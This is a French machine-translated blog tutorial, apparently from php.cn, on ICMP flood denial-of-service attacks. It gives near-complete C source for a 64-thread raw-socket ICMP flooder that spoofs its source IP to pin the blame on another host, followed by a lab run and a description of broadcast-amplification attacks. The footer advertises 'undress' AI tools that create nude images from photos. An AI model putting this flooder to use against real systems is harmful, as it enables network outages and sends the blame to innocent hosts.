Maison Opération et maintenance exploitation et maintenance Linux Linux - Introduction d'une instance d'attaque par inondation ICMP

Linux - Introduction d'une instance d'attaque par inondation ICMP

Jun 29, 2017 pm 03:41 PM
介绍 实例

Cet article présente principalement les informations pertinentes sur l'attaque par inondation ICMP sur Linuxprogrammation en détail. Il a une certaine valeur de référence. Les amis intéressés peuvent se référer à

moi dans l'article précédent « Implémentation ». de PING dans la programmation Linux", le protocole ICMP a été utilisé pour implémenter le programme PING. En plus de l'implémentation d'un tel programme PING, quelles autres utilisations inconnues ou intéressantes ICMP a-t-il ? Ici, je vais présenter une autre technologie noire bien connue d'ICMP : l'attaque par inondation ICMP.

L'attaque par inondation ICMP est un type de la célèbre attaque DOS (Denial of Service), qui est une méthode d'attaque préférée des pirates informatiques. Dans le but d'approfondir ma compréhension d'ICMP, j'essaie également de le faire. écrire une applet d'attaque par inondation ICMP basée sur ICMP.

L'ATTAQUE D'INONDATION fait référence à l'utilisation de la technologie des réseaux informatiques pour envoyer un grand nombre de paquets de données inutiles à l'hôte de destination, rendant l'hôte de destination occupé à traiter des paquets de données inutiles et incapable de fournir des services normauxComportement.

Attaque par inondation ICMP : comme son nom l'indique, elle envoie un flot de paquets ping à l'hôte de destination, ce qui rend l'hôte de destination occupé à traiter les paquets ping et incapable de traiter d'autres requêtes normales. inondation de paquets ping. L'hôte de destination a été inondé.

Pour mettre en œuvre une attaque par inondation ICMP, les trois réserves de connaissances suivantes sont requises :

  • Principes d'attaque DOS

  • Compréhension approfondie d'ICMP

  • Compétences en programmation de socket brutes

Principe d'attaque par inondation ICMP

Les attaques par inondation ICMP sont formées sur la base du ping, mais le programme ping provoque rarement des problèmes et des temps d'arrêt, car la vitesse à laquelle le ping envoie les paquets est trop lente, comme dans le programme PING I. mis en œuvre, le débit d'envoi des paquets ping est limité à 1 paquet par seconde. Ce débit est largement suffisant pour que l'hôte de destination traite les paquets ping. Ainsi, pour provoquer un phénomène « d'inondation », il faut augmenter le taux d'émission des contrats. Voici trois méthodes d'attaque par inondation ICMP :

(1) Attaque par inondation directe

Cela nécessite une compétition entre la bande passante de l'hôte local et la bande passante de la destination hôte. , par exemple, la bande passante de mon réseau hôte est de 30 Mo et la bande passante de votre réseau hôte n'est que de 3 Mo, alors le taux de réussite de mon lancement d'une attaque par inondation pour submerger votre hôte est très élevé. Cette méthode d'attaque nécessite que la puissance de traitement et la bande passante de l'hôte attaquant soient supérieures à celles de l'hôte attaqué, sinon ce sera DoSed. Sur la base de cette idée, nous pouvons utiliser un ordinateur à large bande passante et hautes performances pour envoyer plusieurs messages de requête ICMP à la fois en utilisant une méthode multithread, de sorte que l'hôte de destination soit occupé à traiter un grand nombre de ces messages, ce qui ralentit vitesse ou même les temps d'arrêt. Cette méthode présente un gros inconvénient, c'est-à-dire que l'autre partie peut bloquer la source de l'attaque en fonction de l'adresse IP du paquet ICMP, de sorte que l'attaque ne puisse pas continuer.

(2) Fausse attaque IP

Sur la base de l'attaque directe par inondation, nous déguisons l'adresse IP de l'expéditeur en une autre IP si elle est déguisée en adresse IP aléatoire, vous pouvez très bien masquer votre emplacement ; si vous déguisez votre adresse IP en celle d'autres victimes, cela provoquera une situation de "discorde attisant", et les paquets de réponse icmp de l'hôte de la victime 1 seront également envoyés comme un flot à l'hôte de la victime. 2, si l'administrateur de l'hôte 1 veut savoir quel salaud a envoyé le paquet pour l'attaquer, il vérifie l'adresse source du paquet ICMP, et il s'avère qu'il s'agit de l'hôte 2. De cette façon, l'hôte 2 devient le bouc émissaire.

(3) Attaque par réflexion

L'idée de ce type d'attaque est différente des deux attaques ci-dessus, et la conception de l'attaque par réflexion est plus intelligente. En fait, le mode d'attaque du troisième mode est ici la version fusionnée et améliorée des deux premiers modes. La stratégie d'attaque du troisième mode s'apparente un peu à « tuer avec un couteau emprunté ». L'attaque par réflexion ne cible plus directement le personnage. l'hôte cible, mais amène un groupe d'autres hôtes à le prendre pour l'hôte cible. Après leur avoir envoyé des paquets de requête ICMP, un groupe d'hôtes envoie ensuite des paquets de réponse ICMP à l'hôte de destination, provoquant une inondation de toutes les directions pour inonder l'hôte de destination. . Par exemple, nous envoyons des paquets de requête ICMP à d'autres hôtes sur le réseau local, puis déguisons notre propre adresse IP en adresse IP de l'hôte de destination. De cette manière, l'hôte de sous-destination devient le centre de l'écho ICMP. Cette attaque est très subtile car il est difficile pour l'hôte victime de savoir qui est à l'origine de l'attaque.

2. Conception du programme d'attaque par inondation ICMP

Ici, je veux implémenter un exemple d'attaque par inondation ICMP Ici. Je souhaite utiliser la deuxième méthode pour concevoir. Bien que la troisième méthode consistant à « tuer quelqu'un avec un couteau emprunté » soit plus intelligente, il s'agit en fait d'une extension supplémentaire de la méthode de déguisement de la deuxième méthode, et la mise en œuvre est similaire.

Donnez d'abord le modèle de l'attaquePhoto :

1.

L'assemblage de paquets ici n'est pas très différent de l'assemblage de paquets lors de l'écriture du programme PING. La seule chose à noter est que nous devons remplir la partie en-tête IP car nous voulons masquer l'adresse source et la mettre. la faute sur les autres.


void DoS_icmp_pack(char* packet)
{
  struct ip* ip_hdr = (struct ip*)packet;
  struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip));

  ip_hdr->ip_v = 4;
  ip_hdr->ip_hl = 5;
  ip_hdr->ip_tos = 0;
  ip_hdr->ip_len = htons(ICMP_PACKET_SIZE);
  ip_hdr->ip_id = htons(getpid());
  ip_hdr->ip_off = 0;
  ip_hdr->ip_ttl = 64;
  ip_hdr->ip_p = PROTO_ICMP;
  ip_hdr->ip_sum = 0;
  ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //伪装源地址
  ip_hdr->ip_dst.s_addr = dest; //填入要攻击的目的主机地址

  icmp_hdr->icmp_type = ICMP_ECHO;
  icmp_hdr->icmp_code = 0;
  icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8));
  //注意这里,因为数据部分为0,我们就简化了一下checksum的计算了
}
Copier après la connexion

2. Créez un fil de discussion d'envoi


void Dos_Attack()
{
  char* packet = (char*)malloc(ICMP_PACKET_SIZE);
  memset(packet, 0, ICMP_PACKET_SIZE);
  struct sockaddr_in to;
  DoS_icmp_pack(packet);

  to.sin_family = AF_INET;
  to.sin_addr.s_addr = dest;
  to.sin_port = htons(0);

  while(alive) //控制发包的全局变量
  {
    sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr));    
  }

  free(packet); //记得要释放内存
}
Copier après la connexion

3. Écrivez le commutateur d'envoi de paquets

Le commutateur ici est très simple et peut être implémenté avec des sémaphores + des variables globales. . Lorsque nous appuyons sur ctrl+c, l’attaque sera fermée.


void Dos_Sig()
{
  alive = 0;
  printf("stop DoS Attack!\n");
}
Copier après la connexion

4. Globalement Architecture

Nous avons utilisé 64 threads pour envoyer des paquets ensemble. Bien entendu, le nombre de threads peut être considérablement augmenté pour augmenter l'intensité de l'attaque. Mais nous ne faisons que des expériences, il n’est pas nécessaire d’en faire autant.


int main(int argc, char* argv[])
{
  struct hostent* host = NULL;
  struct protoent* protocol = NULL;
  int i;
  alive = 1;
  pthread_t attack_thread[THREAD_MAX_NUM]; //开64个线程同时发包  
  int err = 0;

  if(argc < 2)
  {
    printf("Invalid input!\n");
    return -1;
  }

  signal(SIGINT, Dos_Sig);

  protocol = getprotobyname(PROTO_NAME);
  if(protocol == NULL)
  {
    printf("Fail to getprotobyname!\n");
    return -1;
  }

  PROTO_ICMP = protocol->p_proto;

  dest = inet_addr(argv[1]);

  if(dest == INADDR_NONE)
  {
    host = gethostbyname(argv[1]);
    if(host == NULL)
    {
      printf("Invalid IP or Domain name!\n");
      return -1;
    }
    memcpy((char*)&dest, host->h_addr, host->h_length);

  }

  rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP);
  if(rawsock < 0)
  {
    printf("Fait to create socket!\n");
    return -1;
  }

  setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1"));

  printf("ICMP FLOOD ATTACK START\n");

  for(i=0;i<THREAD_MAX_NUM;i++)
  {
    err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL);
    if(err)
    {
      printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);      
    }
  }

  for(i=0;i<THREAD_MAX_NUM;i++)
  {
    pthread_join(attack_thread[i], NULL);  //等待线程结束
  }

  printf("ICMP ATTACK FINISHI!\n");

  close(rawsock);

  return 0;
}
Copier après la connexion

3. Expérience

Cette expérience a pour but d'apprendre et je le ferais. J'aime utiliser J'ai l'appareil en main et je souhaite mieux comprendre l'application du réseau et des protocoles, la portée de l'attaque est donc relativement petite et ne dure que quelques secondes, sans affecter aucun appareil.

Parlons à nouveau de nos étapes d'attaque : nous utilisons l'hôte 172.0.5.183 comme notre propre hôte d'attaque, nous nous déguisons en hôte 172.0.5.182 et lançons une attaque par inondation ICMP sur l'hôte 172.0.5.9.

L'attaque commence

Observons la situation du côté des « victimes ». En seulement 5 secondes, plus de 70 000 paquets ont été correctement reçus et transmis à la couche supérieure pour traitement. Je n'ose pas en faire trop pour ne pas nuire au fonctionnement de la machine.

Utilisez Wireshark pour capturer les paquets et jetez un autre coup d'œil. Ils sont pleins de paquets ICMP, qui semblent assez volumineux. L'adresse source du paquet ICMP est indiquée comme 172.0.5.182 (notre adresse usurpée), et elle renvoie également une réponse d'écho à 172.0.5.182. L'hôte 172.0.5.182 pensera certainement qu'il est inexplicable pourquoi il a reçu autant de paquets de réponse d'écho.

L'expérience d'attaque est terminée.

Ce qui est plus populaire maintenant, c'est l'attaque DDOS, qui est plus puissante, possède des stratégies plus sophistiquées et est plus difficile à défendre.
En fait, cette attaque DDoS est également lancée sur la base du DOS. Les étapes spécifiques sont les suivantes :

1. L'attaquant diffuse un message de demande d'écho au "réseau d'amplification" <.> 2. L'attaquant spécifie l'IP source du message diffusé comme étant l'hôte attaqué
3. "Agrandissez le réseau" et répondez en écho à l'hôte attaqué
4. Formez un scénario d'attaque DDoS

ici, « réseau amplifié » peut être compris comme un réseau avec de nombreux hôtes dont les systèmes d'exploitation doivent prendre en charge la réponse à certains paquets de requêtes ICMP dont l'adresse de destination est une adresse de diffusion.


La stratégie d'attaque est très sophistiquée. En bref, elle consiste à déguiser l'adresse source en adresse IP de l'hôte attaquant, puis à la diffuser à tous les hôtes. Les hôtes envoient collectivement des messages à l'hôte attaquant. Renvoyez le package, provoquant une situation où un groupe de personnes attaque.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

Video Face Swap

Video Face Swap

Échangez les visages dans n'importe quelle vidéo sans effort grâce à notre outil d'échange de visage AI entièrement gratuit !

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Introduction détaillée à ce qu'est le wapi Introduction détaillée à ce qu'est le wapi Jan 07, 2024 pm 09:14 PM

Les utilisateurs ont peut-être vu le terme wapi lorsqu'ils utilisent Internet, mais pour certaines personnes, ils ne savent certainement pas ce qu'est wapi. Ce qui suit est une introduction détaillée pour aider ceux qui ne le savent pas à comprendre. Qu'est-ce que wapi : Réponse : wapi est l'infrastructure pour l'authentification et la confidentialité du réseau local sans fil. C'est le cas des fonctions telles que l'infrarouge et le Bluetooth, qui sont généralement couvertes à proximité de lieux tels que les immeubles de bureaux. Fondamentalement, ils appartiennent à un petit département, la portée de cette fonction n'est donc que de quelques kilomètres. Introduction connexe à Wapi : 1. Wapi est un protocole de transmission dans un réseau local sans fil. 2. Cette technologie peut éviter les problèmes de communication à bande étroite et permettre une meilleure communication. 3. Un seul code est nécessaire pour transmettre le signal.

Explication détaillée indiquant si Win11 peut exécuter le jeu PUBG Explication détaillée indiquant si Win11 peut exécuter le jeu PUBG Jan 06, 2024 pm 07:17 PM

Pubg, également connu sous le nom de PlayerUnknown's Battlegrounds, est un jeu de tir Battle Royale très classique qui a attiré beaucoup de joueurs depuis sa popularité en 2016. Après le récent lancement du système win11, de nombreux joueurs souhaitent y jouer sur win11. Suivons l'éditeur pour voir si win11 peut jouer à pubg. Win11 peut-il jouer à Pubg ? Réponse : Win11 peut jouer à Pubg. 1. Lorsque Win11 a été lancé pour la première fois, de nombreux joueurs ont été bannis de Pubg car Win11 devait activer TPM. 2. Cependant, sur la base des commentaires des joueurs, Blue Hole a résolu ce problème et vous pouvez désormais jouer à Pubg normalement dans Win11. 3. Si vous rencontrez un pub

Introduction aux fonctions Python : Introduction et exemples de fonction exec Introduction aux fonctions Python : Introduction et exemples de fonction exec Nov 03, 2023 pm 02:09 PM

Introduction aux fonctions Python : Introduction et exemples de fonction exec Introduction : En Python, exec est une fonction intégrée utilisée pour exécuter du code Python stocké dans une chaîne ou un fichier. La fonction exec fournit un moyen d'exécuter dynamiquement du code, permettant au programme de générer, modifier et exécuter du code selon les besoins pendant l'exécution. Cet article explique comment utiliser la fonction exec et donne quelques exemples de code pratiques. Comment utiliser la fonction exec : La syntaxe de base de la fonction exec est la suivante : exec

Introduction détaillée pour savoir si le processeur i5 peut installer win11 Introduction détaillée pour savoir si le processeur i5 peut installer win11 Dec 27, 2023 pm 05:03 PM

i5 est une série de processeurs appartenant à Intel. Il existe différentes versions du i5 de 11e génération, et chaque génération a des performances différentes. Par conséquent, la possibilité pour le processeur i5 d'installer Win11 dépend de la génération du processeur dont il s'agit. Suivons l'éditeur pour en savoir plus séparément. Le processeur i5 peut-il être installé avec win11 : Réponse : le processeur i5 peut être installé avec win11. 1. Les processeurs i51 de huitième génération et suivants, i5 de huitième génération et suivants peuvent répondre aux exigences de configuration minimales de Microsoft. 2. Par conséquent, il nous suffit d'accéder au site Web de Microsoft et de télécharger un "Assistant d'installation Win11". 3. Une fois le téléchargement terminé, exécutez l'assistant d'installation et suivez les invites pour installer Win11. 2. i51 avant la huitième génération et après la huitième génération

Présentation de la dernière méthode de réglage du son Win 11 Présentation de la dernière méthode de réglage du son Win 11 Jan 08, 2024 pm 06:41 PM

Après la mise à jour vers la dernière version de Win11, de nombreux utilisateurs constatent que le son de leur système a légèrement changé, mais ils ne savent pas comment le régler. Aujourd'hui, ce site vous présente une introduction à la dernière méthode de réglage du son Win11 pour votre ordinateur. Ce n'est pas difficile à utiliser. Et les choix sont variés, venez les télécharger et les essayer. Comment régler le son du dernier système informatique Windows 11 1. Tout d'abord, cliquez avec le bouton droit sur l'icône du son dans le coin inférieur droit du bureau et sélectionnez « Paramètres de lecture ». 2. Entrez ensuite les paramètres et cliquez sur « Haut-parleur » dans la barre de lecture. 3. Cliquez ensuite sur « Propriétés » en bas à droite. 4. Cliquez sur la barre d'options "Améliorer" dans les propriétés. 5. A ce moment, si le √ devant « Désactiver tous les effets sonores » est coché, annulez-le. 6. Après cela, vous pouvez sélectionner les effets sonores ci-dessous à définir et cliquer sur

Guide du débutant PyCharm : analyse complète des fonctions de remplacement Guide du débutant PyCharm : analyse complète des fonctions de remplacement Feb 25, 2024 am 11:15 AM

PyCharm est un puissant environnement de développement intégré Python doté de fonctions et d'outils riches qui peuvent considérablement améliorer l'efficacité du développement. Parmi elles, la fonction de remplacement est l'une des fonctions fréquemment utilisées dans le processus de développement, qui peut aider les développeurs à modifier rapidement le code et à améliorer la qualité du code. Cet article présentera en détail la fonction de remplacement de PyCharm, combinée à des exemples de code spécifiques, pour aider les novices à mieux maîtriser et utiliser cette fonction. Introduction à la fonction de remplacement La fonction de remplacement de PyCharm peut aider les développeurs à remplacer rapidement le texte spécifié dans le code

Informations détaillées sur l'emplacement du pilote d'imprimante sur votre ordinateur Informations détaillées sur l'emplacement du pilote d'imprimante sur votre ordinateur Jan 08, 2024 pm 03:29 PM

De nombreux utilisateurs ont des pilotes d'imprimante installés sur leur ordinateur mais ne savent pas comment les trouver. Par conséquent, aujourd'hui, je vous propose une introduction détaillée à l'emplacement du pilote d'imprimante dans l'ordinateur. Pour ceux qui ne le savent pas encore, voyons où trouver le pilote d'imprimante lors de la réécriture du contenu sans modifier la signification originale. vous devez La langue est réécrite en chinois et la phrase originale n'a pas besoin d'apparaître. Tout d'abord, il est recommandé d'utiliser un logiciel tiers pour rechercher 2. Recherchez « Boîte à outils » dans le coin supérieur droit. cliquez sur "Gestionnaire de périphériques" ci-dessous. Phrase réécrite : 3. Recherchez et cliquez sur "Gestionnaire de périphériques" en bas. 4. Ensuite, ouvrez "File d'attente d'impression" et recherchez votre imprimante. Cette fois, il s'agit du nom et du modèle de votre imprimante. 5. Cliquez avec le bouton droit sur le périphérique d'impression et vous pouvez le mettre à jour ou le désinstaller.

Qu'est-ce que Dogecoin Qu'est-ce que Dogecoin Apr 01, 2024 pm 04:46 PM

Dogecoin est une crypto-monnaie créée sur la base de mèmes Internet, sans plafond d'approvisionnement fixe, avec des délais de transaction rapides, des frais de transaction faibles et une grande communauté de mèmes. Les utilisations incluent les petites transactions, les pourboires et les dons de bienfaisance. Cependant, son offre illimitée, la volatilité du marché et son statut de pièce de monnaie farfelue comportent également des risques et des inquiétudes. Qu’est-ce que Dogecoin ? Dogecoin est une crypto-monnaie créée à partir de mèmes et de blagues Internet. Origine et histoire : Dogecoin a été créé en décembre 2013 par deux ingénieurs logiciels, Billy Markus et Jackson Palmer. Inspiré du mème alors populaire « Doge », une photo comique représentant un Shiba Inu avec un anglais approximatif. Caractéristiques et avantages : Offre illimitée : contrairement à d’autres crypto-monnaies telles que Bitcoin

See all articles